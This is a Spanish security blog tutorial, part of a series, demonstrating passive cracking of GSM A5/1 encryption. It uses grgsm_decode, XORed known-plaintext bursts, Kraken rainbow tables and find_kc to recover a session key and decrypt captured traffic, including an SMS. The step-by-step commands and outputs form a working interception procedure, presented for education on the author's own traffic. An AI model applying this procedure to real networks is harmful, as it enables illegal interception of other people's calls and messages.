Un blog de Seguridad Informática, desde un punto de vista tecnológico

Cuando las ballenas vuelan (episodio II) – Creando un entorno de análisis GSM usando Docker (parte 3)

Esta es la tercera parte de la serie (parte 1 y parte 2) y continuará con el escenario de análisis GSM usando los contenedores creados anteriormente.

Nota importante: No hace falta decir que interceptar comunicaciones de terceros sin su consentimiento es ilegal y puede acarrear graves problemas. Este escenario se plantea con fines educativos y se ha realizado sobre comunicaciones propias. No nos hacemos responsables del mal uso de la información proporcionada.

Romper el cifrado A5/1

La siguiente fase del escenario quiere responder a la pregunta: ¿podría romperse el cifrado GSM simplemente capturando el tráfico de forma pasiva?

Y para poder responderla habrá que intentarlo, siguiendo estos pasos.

Extraer información de una captura

Antes de utilizar Kraken, se deberá extraer información de una captura como la realizada en la primera fase del escenario, decodificando el tráfico del “SDCCH8” (Stand-alone Dedicated Control CHannel with 8 timeslots) en el timeslot correspondiente (normalmente el segundo, como en este caso) con Wireshark “escuchando en la interfaz de loopback:

grgsm_decode --arfcn=993 --ppm=23 --burst-file=993-test-burst.file --timeslot=1 --mode=SDCCH8

En el tráfico habrá que buscar mensajes que:

  • Se envíen en claro antes de empezar a cifrar.
  • Se envíen de forma periódica y se conozca la cadencia de envío.
  • Tengan un valor que cambie poco o nada.

Los mejores candidatos para esto son los mensajes de tipo “System Information Type {5, 5bis, 5ter, 6}“, ya que:

  • Están presentes en el tráfico en claro antes del “Ciphering Mode Command“.
  • Se van repitiendo cada 102 GSM frames.
  • Su valor suele ser estable durante el uso de canales dedicados.

Nota: En esta respuesta de Sylvain Munaut a la lista de correo A51 está explicado el porqué son buenos candidatos. Más información general sobre este tipo de mensajes.

Una vez determinado que tipo de mensajes pueden servir se deberá escoger uno en el tráfico en claro, por ejemplo uno “System Information Type 5bis, y obtener el GSM frame number donde empieza. 1833278 en este caso:

Antes de continuar también será necesario volcar en un fichero de texto todos los bursts del tráfico capturado utilizando el siguiente comando:

grgsm_decode --arfcn=993 --ppm=23 --burst-file=993-test-burst.file --timeslot=1 --mode=SDCCH8 --print-bursts > bursts-993-23.txt

Donde cada línea del fichero contiene tres campos:

  • El frame number.
  • El frame number “modificado” (esto es un requisito del algoritmo de cifrado A5/1 y será de utilidad luego).
  • Los bits del burst.

Por ejemplo:

1829806 2825092: 100000010001110101010000000010100000000111111101010000001010000100010111010100000000101000010000010101010100000010

Nota: En este volcado la representación de los bursts sólo contiene los bits de información; en el caso de un burst de tipo “normal” = 114 bits.

Y después obtener los bursts del GSM frame seleccionado, así como de los 3 consecutivos:

# grep -A3 1833278 bursts-993-23.txt 
1833278 2831378: 101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100
1833279 2831411: 001000000101001010110100011000100001000101101001100001000010100001001000001100000100110010010101001010001100011000
1833280 2831444: 100100011000101001010000011000000100001100000000010011000001010000011100100101010100001001000010001010010000011010
1833281 2831477: 110000000100100011000001000010010101110000110000001011001001010010101010000000010010100000010010000000000011001010

Nota: El motivo de necesitar 4 burts es que “To transfer one system information word, four bursts are needed.“, tal y como está explicado aquí.

El siguiente paso será realizar los cálculos para saber que frames (cifrados) deberían ser del tipo “System Information Type {5, 5bis, 5ter, 6}:

  • 1833278+102=1833380
  • 1833380+102=1833482
  • 1833482+102=1833584

Observando el tráfico en claro se ha podido comprobar que, para esta celda, los mensajes del tipo “System Information Type” se van alternando en este orden: 5, 5bis y 6, por eso se ha escogido directamente el tercero de la serie.

Una vez se tengan estos datos se podrá comprobar que el burst de este frame, así como los 3 consecutivos a este, están presentes en la captura:

#grep -A3 1833584 bursts-993-23.txt
1833584 2831372: 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011
1833585 2831405: 011110000101111011011011111010101011101100001110110000001011000011001100111011000010001110110011101011000011000001
1833586 2831438: 001100011001110001000010010110111010001100001010110101100010111100110100111010010001010110010100011101011010000111
1833587 2831471: 000110110001001101001110100110000111100001101100110001001010111111011010111100010011010010110101100111111000111110

Obtener Kc con Kraken

Hechos todos estos cálculos, será hora de arrancar el contenedor con Kraken, haciendo passthrough de la partición de disco con las rainbow tables y montando el volumen que contiene los índices en la ruta /kraken/indexes:

docker run \
--device=/dev/disk/by-id/wwn-0x5000c50091dc385d-part2:/dev/xvdc2 \
--volume /media/$USER/DRIZZLECHAIR/kraken/indexes/:/kraken/indexes/ \
-ti --rm pachulo/xenial-kraken

Y pasar a hacer disyunción exclusiva de los burst en claro con los cifrados. En este ejemplo, los bursts con frame number 1833278-1833281 XOR 18335841833587:

# cd /kraken/Utilities/
# python xor.py 101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011
010011001110011000010100000111000010010110100101110000100110001110110001101010001001011000110011111001111000101111
# python xor.py 001000000101001010110100011000100001000101101001100001000010100001001000001100000100110010010101001010001100011000 011110000101111011011011111010101011101100001110110000001011000011001100111011000010001110110011101011000011000001
010110000000110001101111100010001010101001100111010001001001100010000100110111000110111100100110100001001111011001
# python xor.py 100100011000101001010000011000000100001100000000010011000001010000011100100101010100001001000010001010010000011010 001100011001110001000010010110111010001100001010110101100010111100110100111010010001010110010100011101011010000111
101000000001011000010010001110111110000000001010100110100011101100101000011111000101011111010110010111001010011101
# python xor.py 110000000100100011000001000010010101110000110000001011001001010010101010000000010010100000010010000000000011001010 000110110001001101001110100110000111100001101100110001001010111111011010111100010011010010110101100111111000111110
110110110101101110001111100100010010010001011100111010000011101101110000111100000001110010100111100111111011110100

La lógica de tener que realizar un XOR entre los bursts es que, al final, lo que se está realizando es un ataque Known-plaintext, por lo que Kraken necesita el keystream, no el ciphertext (los datos cifrados).

Ahora ya es el momento de ejecutar Kraken:

cd /kraken/Kraken/ && ./kraken /kraken/indexes

Obteniendo la siguiente salida con información sobre las rainbow tables cargadas:

Device: /dev/xvdc2 40
/dev/xvdc2
Allocated 41301076 bytes: /kraken/indexes/260.idx
Allocated 41259888 bytes: /kraken/indexes/324.idx

...

Tables: 260,324,492,388,140,276,132,156,364,164,356,412,436,172,500,180,372,428,188,196,268,420,204,212,348,292,220,396,100,230,340,380,404,108,238,116,332,148,250,124
Commands are: crack test quit

Kraken>

Para comprobar que todo funciona correctamente se puede ejecutar un test:

Kraken> test

Cracking 001101110011000000001000001100011000100110110110011011010011110001101010100100101111111010111100000110101001101011
Found 16027103698477381980x @ 12 #0 (table:340)
Found 8050061555739560956x @ 23 #0 (table:372)
crack #0 took 167157 msec

Nota: Kraken no es muy estable, por lo que de vez en cuando pueden producirse Segmentation faults.

Otro de los detalles que hay tener en cuenta al trabajar con Kraken es que para romper una clave normalmente será necesario el ciphertext (valor cifrado) del burst anterior, por lo que se utilizarán sólo el segundo, tercer y cuarto keystream (los resultados de los XOR).

En este ejemplo, al intentar romper el segundo keystream ya se obtiene un resultado:

Kraken> crack 010110000000110001101111100010001010101001100111010001001001100010000100110111000110111100100110100001001111011001 [118/489]

Cracking 010110000000110001101111100010001010101001100111010001001001100010000100110111000110111100100110100001001111011001
Found 6647556174848107156x @ 29 #1 (table:332)
crack #1 took 164725 msec

Que indica que 6647556174848107156x es la clave que produce la salida en la posición 29 después de 100 “clockings”.

Con estos datos ya se puede pasar a la siguiente fase, que es la de encontrar Kc con la herramienta find_kc:

# /kraken/Utilities/find_kc
usage: ./find_kc foundkey bitpos framecount (framecount2 burst2)

La cual necesita los siguientes datos:

  • La clave encontrada por Kraken (6647556174848107156x en este caso).
  • La posición donde produce la salida (29 en este caso).
  • El GSM frame number modificado del burst cifrado.
  • El GSM frame number modificado del burst anterior.
  • El valor del keystream anterior.

Los dos GSM frame numbers modificados se pueden obtener del archivo creado anteriormente:

# grep -A1 1833584 bursts-993-23.txt
1833584 2831372: 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011
1833585 2831405: 011110000101111011011011111010101011101100001110110000001011000011001100111011000010001110110011101011000011000001

Mientras que el keystream, en este caso, es el resultado del primer XOR calculado anteriormente:

# python xor.py 101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011
010011001110011000010100000111000010010110100101110000100110001110110001101010001001011000110011111001111000101111

Con todos estos datos se ejecuta la herramienta:

# /kraken/Utilities/find_kc 6647556174848107156x 29 2831405 2831372 010011001110011000010100000111000010010110100101110000100110001110110001101010001001011000110011111001111000101111
#### Found potential key (bits: 29)####
e4a3cebbf20d9b88 -> e4a3cebbf20d9b88
Framecount is 2831405
KC(0): 0e 5a 08 c9 9f 13 eb d4 mismatch
KC(1): b9 ce 5a 3d 4a 55 5d a1 mismatch
KC(2): c7 a0 20 1f 1a 10 8b 94 mismatch
KC(3): 5f 03 c0 08 5b d4 61 da mismatch
KC(4): dd 86 f9 7f d5 78 7f 1f mismatch
KC(5): d4 30 16 35 ac 91 07 7d mismatch
KC(6): 07 18 73 af b2 04 62 24 mismatch
KC(7): 56 b5 2f 42 22 3d 19 b8 mismatch
KC(8): 1e 2f f1 a1 30 25 c4 6a mismatch
KC(9): 21 e6 24 36 5e 62 9d f5 mismatch
KC(10): e4 c3 a4 e5 81 a8 ba 29 mismatch
KC(11): 8f bb 4e 08 e4 1d 0f 95 mismatch
KC(12): 16 77 32 e8 04 c8 b5 da mismatch
KC(13): f6 ad e7 81 f4 23 2b d6 mismatch
KC(14): ae 6c 6c 45 32 c9 8b ac mismatch
KC(15): 18 26 0c 0d 9d b4 84 fa mismatch
KC(16): cc f2 96 d9 79 a8 17 11 mismatch
KC(17): 74 9e 10 02 34 24 a4 2d mismatch
KC(18): 2b 97 41 82 f9 ec 9b 5e *** MATCHED ***
KC(19): 28 a8 53 6f 92 e2 fd b3 mismatch
KC(20): cf cd 84 34 12 a6 71 fc mismatch
KC(21): 19 b7 65 9c a9 5a fe 27 mismatch
KC(22): 9b 32 5c eb 27 f6 e0 e2 mismatch
KC(23): 22 f1 fd c0 d7 c7 cf 00 mismatch
KC(24): 0d dc 32 a7 cd 54 a0 c0 mismatch
KC(25): 33 56 80 22 4e a3 8b 2a mismatch
KC(26): b0 e0 16 ff ac cb 2e db mismatch
KC(27): e1 4d 4a 12 3c f2 55 47 mismatch
KC(28): fc 5f db a7 4e e8 cf 1b mismatch
KC(29): 29 4d 56 6f 6a ee 99 ba mismatch
KC(30): 33 93 6c d4 33 83 f4 d5 mismatch
KC(31): 03 ac b3 d1 8d 17 ec b7 mismatch
KC(32): 81 23 af 85 f1 30 08 33 mismatch
KC(33): 45 a4 0e a6 86 b2 a8 bd mismatch
KC(34): 15 0b e1 92 19 0a 05 d5 mismatch
KC(35): a5 e6 d4 e2 49 fa 61 19 mismatch
KC(36): f4 4b 88 0f d9 c3 1a 85 mismatch
KC(37): 12 bf 00 29 3a a1 0f aa mismatch
KC(38): 0e 61 42 19 d6 1f b5 2d mismatch
KC(39): 5f cc 1e f4 46 26 ce b1 mismatch
KC(40): 5b a2 89 64 19 ed 5f 37 mismatch

Y, como se puede observar, ¡una de las 41 claves candidatas coincide!

Utilizando Kc en un comando como este ya será posible descifrar todo el tráfico:

grgsm_decode --arfcn=993 --ppm=23 --burst-file=993-test-burst.file --timeslot=1 --mode=SDCCH8 --kc=2b974182f9ec9b5e

Incluyendo el SMS recibido por nuestro terminal:

Este escenario no sale siempre a la primera, por lo que si no se obtienen resultados, se recomienda probar con otros mensajes “System Information Type {5, 5bis, 5ter, 6}” y/o con un “Actual Timing Advance” diferente (01 normalmente).

 

Conclusión

Se ha demostrado que para romper el cifrado A5/1, algoritmo soportado por prácticamente todos los móviles GSM del mundo, únicamente es necesario capturar el trafico de la interfaz aérea GSM de forma pasiva.

Además, también se ha confirmado que es posible hacerlo (aunque de una forma un poco artesanal) con hardware barato y software disponible gratuitamente en Internet.

Esto es especialmente grave dado que en el caso de España, por ejemplo, el uso del algoritmo A5/3 (más seguro y sin ataques prácticos publicados) para comunicaciones GSM por parte de los operadores es minoritario:

Vodafone has begun rolling out A5/3. To intercept subscribers of Vodafone in A5/3-enabled areas, attackers will need to use active equipment. In Spain, Movistar and Orange continue to mostly rely on outdated encryption.

Nota: Información obtenida de: https://gsmmap.org/assets/pdfs/gsmmap.org-country_report-Spain-2017-06.pdf

La única forma que como usuarios tenemos de tratar de evitar ser víctimas de este ataque es asegurarse de que el terminal no está utilizando 2G para comunicarse con la red.

 

Referencias

Teoría básica del ataque sobre A5/1 usado:

Paper de Karsten Nohl describiendo el ataque:

Y el vídeo de su presentación en Blackhat 2010:

Documentación sobre la creación del disco duro con las rainbow tables:

Los siguientes mensaje de la lista de correo A51 contienen información práctica sobre la implementación del ataque:

Este ejercicio de la universidad de Friburgo explica un escenario como el que se ha mostrado:

En esta serie de tutoriales del muy recomendable Crazy Danish Hacker se explica un escenario similar, pero utilizando otras herramientas para algunas tareas:

Información comparada sobre las medidas de protección implementadas en las redes de los operadores móviles de todo el mundo:

Bonus

Que hacer en caso de que el “Actual Timing Advance” de un paquete no sea 00

En el caso de un paquete del tipo “System Information Type {5, 5bis, 5ter, 6} en el que el “Actual Timing Advance” (segundo byte) no sea 00 habrá que modificarlo, porque lo más probable es que en los mensajes posteriores (y cifrados) del mismo tipo este valor sí sea 00 (más información aquí).

Para ello primero habrá que obtener el hexdump del mensajeesto es, desde la cabecera “SACCH L1” hasta el final (23 bytes en total):

Siendo en este caso:

05 01 03 03 49 06 05 af e8 7d fc 80 00 00 09 00 00 00 00 00 00 00 00

Para a continuación modificarlo para que el segundo byte sea 00 y ya se pueda obtener el paquete codificado en burts con la herramienta gsmframecoder:

/gsmframecoder/test/gsmframecoder 05 00 03 03 49 06 05 af e8 7d fc 80 00 00 09 00 00 00 00 00 00 00 00
Decoding 05000303490605afe87dfc800000090000000000000000
Encoded Frame, Burst1: 
101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100
Encoded Frame, Burst2: 
001000000101001010110100011000100001000101101001100001000010100001001000001100000100110010010101001010001100011000
Encoded Frame, Burst3: 
100100011000101001010000011000000100001100000000010011000001010000011100100101010100001001000010001010010000011010
Encoded Frame, Burst4: 
110000000100100011000001000010010101110000110000001011001001010010101010000000010010100000010010000000000011001010

 

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